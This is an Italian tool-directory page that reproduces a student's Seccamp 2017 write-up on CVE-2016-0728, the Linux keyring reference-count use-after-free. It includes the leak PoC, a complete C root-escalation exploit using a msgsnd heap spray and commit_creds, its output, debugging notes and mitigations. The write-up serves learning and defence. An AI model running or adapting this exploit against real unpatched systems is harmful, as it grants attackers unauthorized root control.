Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2016-0728 — cve-2016-0728 exploit e sommario | Kitploit
Strumenti/GitHubGitHub/hal0taso/cve-2016-0728
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

cve-2016-0728 exploit e sommario

Vedi Repository
19 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2016-0728

Compito Seccamp 2017

Il programma seguente sfrutta una vulnerabilità presente nel kernel Linux 3.8-4.4. Spiegate il malfunzionamento che si verifica eseguendo questo programma. Inoltre, scrivete un exploit che, sfruttando ulteriormente questa vulnerabilità, esegua l'escalation dei privilegi a root, e spiegate l'ambiente di esecuzione che avete testato e gli accorgimenti adottati. In aggiunta, elencate quante più misure di mitigazione possibili contro questo tipo di attacco e spiegatele. Non fa niente se non avete compreso tutto: descrivete con parole vostre le informazioni fin dove siete arrivati, il processo dei tentativi e le sensazioni provate. Se avete fatto riferimento a siti o documenti, indicate chiaramente queste fonti.

root@kitploit:~
#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introduzione

L'ambiente di verifica è il seguente.

root@kitploit:~
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

Ho conosciuto questa vulnerabilità solo da poco; descrivo ciò che ho scoperto indagando e le cose che ho provato durante il processo. Prima spiegherò il servizio di memorizzazione delle chiavi usato in questo programma, poi la vulnerabilità Use-After-Free che il programma sfrutta e quale causa nel programma la provoca, e infine quale malfunzionamento ne deriva. Questa vulnerabilità è registrata come CVE-2016-0728; per la sua panoramica ho fatto riferimento al sito seguente.

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Inoltre, poiché anche il servizio di memorizzazione delle chiavi di Linux era una novità per me, ho fatto riferimento alla pagina web "Introduzione al servizio di memorizzazione delle chiavi di Linux" di IBM

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

e al codice sorgente del kernel Linux 3.19, che è l'ambiente di verifica,

https://www.kernel.org/

Per inviare i messaggi del kernel al sistema host tramite rete ho fatto riferimento a DEBUG HACKS - Tecniche e strumenti per eccellere nel debugging (O'REILLY).

Questo programma (d'ora in poi lo chiamerò leak.c) sfrutta un bug presente nel servizio di memorizzazione delle chiavi di Linux; questo bug porta alla vulnerabilità Use-After-Free. Una vulnerabilità Use-After-Free è quella in cui, a causa di un'incoerenza del programma, viene fatto riferimento a un indirizzo di memoria heap già liberato, rendendo possibile l'esecuzione di codice arbitrario. Prima descriverò la chiamata di sistema keyctl() usata da questo programma e quale bug esiste in essa.

Ogni processo può creare un keyring per la sessione corrente con la chiamata di sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Questo keyring può essere condiviso tra processi facendo riferimento al nome name. Se un processo possiede già un session keyring, questa chiamata di sistema sostituisce il session keyring con un nuovo keyring. Volendo capire meglio questo comportamento, ho consultato la funzione join_session_keyring nel codice sorgente del kernel in /security/keys/process_keys.c. Il suo comportamento è il seguente. Quando si sostituisce il session keyring con un nuovo session keyring, la funzione key_put viene saltata. La funzione key_put è una funzione che distrugge il riferimento al keyring passato come argomento. Saltandola, rimane un riferimento al nuovo keyring, e questo porta alla vulnerabilità Use-After-Free.

Quando questo keyring è condiviso tra processi, il contatore di riferimenti interno memorizzato nel membro usage della struct key aumenta. Il membro usage è di tipo atomic_t, che in realtà è definito come typedef di una struct contenente una singola variabile int. Inoltre, non essendoci un meccanismo per prevenire l'overflow di questo membro, incrementandolo si può arrivare a fare riferimento al keyring fino a quando l'overflow non lo porta a 0. Quando il membro usage diventa 0, il keyring viene liberato dalla garbage collection interna al sottosistema dei keyring. Collocando in quest'area liberata, dallo spazio utente, un oggetto del kernel che esegue un'altra operazione arbitraria, è possibile eseguire tale operazione con i privilegi del kernel.

Nel sito di riferimento, compilando leak.c con la libreria keyutils ed eseguendolo, in /proc/keys viene registrato un session keyring chiamato leaked_key e viene mostrato che è stato referenziato 100 volte. Nel sito verificavano che leaked-keyring venisse visualizzato come segue prima e dopo l'esecuzione di questo programma.

root@kitploit:~
# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

Tuttavia, nell'ambiente di verifica leaked-keyring non veniva visualizzato. Come prova, ho provato a impostare la condizione del ciclo for a un valore grande, ad esempio i < 0x1000000: durante l'esecuzione del programma leaked-keyring veniva visualizzato. In questo caso, l'attacco riesce facendo overflow del membro usage, liberando la key e collocando un nuovo oggetto del kernel in quello spazio. Così ho deciso di provarci davvero. Per il codice exploit ho fatto riferimento al sito seguente.

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

Eseguendolo, i privilegi non sono cambiati e la shell si avviava con i permessi dell'utente che eseguiva il programma. La prima cosa che ho pensato è stata che il mio ambiente fosse aggiornato e avesse già ricevuto la patch. Questo perché la vulnerabilità è stata pubblicata intorno a gennaio 2016 e avevo aggiornato il mio ambiente prima di allora. Ho quindi provato in un nuovo ambiente virtuale (kernel 3.18.52) modificando i valori costanti, ma senza successo. Inoltre, c'erano segnalazioni secondo cui se fossero attivi i meccanismi di protezione della memoria SMAP o SMEP, l'exploit non avrebbe funzionato correttamente. SMEP è un meccanismo di sicurezza che vieta l'esecuzione di codice agli indirizzi dello spazio utente in modalità kernel; SMAP è un meccanismo di sicurezza che vieta l'accesso agli indirizzi dello spazio utente in modalità kernel. Nei commenti del gist c'era un codice che diverse persone avevano verificato: con il kernel 3.18.25 si otteneva uid 0, ma la VM si bloccava. Ho deciso di provarlo. Il link è questo (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). Ho compilato il kernel (3.18.25) e ho provato con SMAP e SMEP entrambi disabilitati. L'ambiente di esecuzione è il seguente. SMAP era disabilitato in .config durante la compilazione, e ho disabilitato anche SMEP nel file di configurazione di grub (/boot/grub/grub.cfg).

root@kitploit:~
$ uname -r
3.18.25

Eseguendo leak in questo ambiente, /proc/keys era il seguente.

root@kitploit:~
$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

Effettivamente, come nel sito di riferimento, si può osservare l'oggetto keyring. Ho quindi eseguito l'exploit, ma anche qui la shell si avviava con i privilegi dell'utente che eseguiva il programma. Allora ho monitorato /proc/keys con il comando watch a intervalli di 0,1 secondi durante l'exploit. Ho notato che, quando il membro usage non diventava esattamente 0 (se si esegue l'exploit specificando un keyring con lo stesso nome di quello generato quando il programma viene interrotto a metà, dopo l'overflow il membro usage di quell'oggetto keyring ricominciava ad aumentare), join_session_keyring creava un nuovo oggetto keyring. Ho quindi pensato che l'oggetto key non venga liberato se il contatore dei riferimenti non viene regolato in modo che arrivi esattamente a 0. Quando il contatore arrivava a 0, l'oggetto keyring effettivamente non era più visibile, e ho ritenuto che fosse stato liberato. Eseguendo più volte di seguito, ho potuto confermare che si otteneva root (uid=0, euid=0), ma subito dopo si verificava un kernel panic e la VM si bloccava.

root@kitploit:~
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

Quindi ho trasferito i messaggi del kernel al sistema host tramite netconsole e ho letto i log. Tuttavia, anche cercando gli indirizzi delle costanti come commit_creds e kernel_prepare_cred, non ho trovato i punti corrispondenti. Alla fine, non sono riuscito a ottenere root e ad avviare una shell.

Da quanto sopra, per gli attacchi che sfruttano questa vulnerabilità è possibile renderli più difficili abilitando meccanismi di protezione del kernel come SMAP e SMEP. Inoltre, poco dopo la pubblicazione della vulnerabilità, le varie distribuzioni hanno fornito aggiornamenti del kernel con la patch; applicando questi aggiornamenti si può prevenire l'attacco. Mentre indagavo su questa vulnerabilità, eseguendo il PoC con il kernel 3.18.52 e monitorando /proc/keys, il membro usage dell'oggetto keyring continuava ad aumentare e diminuire; ho quindi pensato che tra il kernel 3.18.25 e il 3.18.52 fosse stato modificato il codice relativo ai keyring, oppure la funzione abort_creds usata in join_session_keyring, e che fosse cambiato il meccanismo con cui il contatore dei riferimenti (qui il membro usage) viene incrementato. Questo perché nel sito di riferimento era scritto che il contatore dei riferimenti usage viene incrementato e decrementato due volte in join_session_keyring, e che è importante il fatto che abort_creds esegua in modo asincrono il decremento del membro usage dopo un'operazione chiamata RCU job.

Quando ho iniziato a indagare su questa vulnerabilità, ho provato sorpresa e anche preoccupazione, perché da utente normale si poteva ottenere l'escalation a utente privilegiato. Ma mentre verificavo e studiavo il codice PoC dell'exploit, ho scoperto che l'attaccante deve anche identificare la versione del kernel; inoltre, se SMEP e SMAP sono attivi, deve anche bypassarli; non è detto che l'attacco riesca con certezza e, se fallisce, provoca un kernel panic, facendo scoprire l'attacco. Ci sono quindi molte cose poco vantaggiose per l'attaccante, e ho cominciato a dubitare che sia davvero una tecnica di attacco utile.

Scarica lo strumento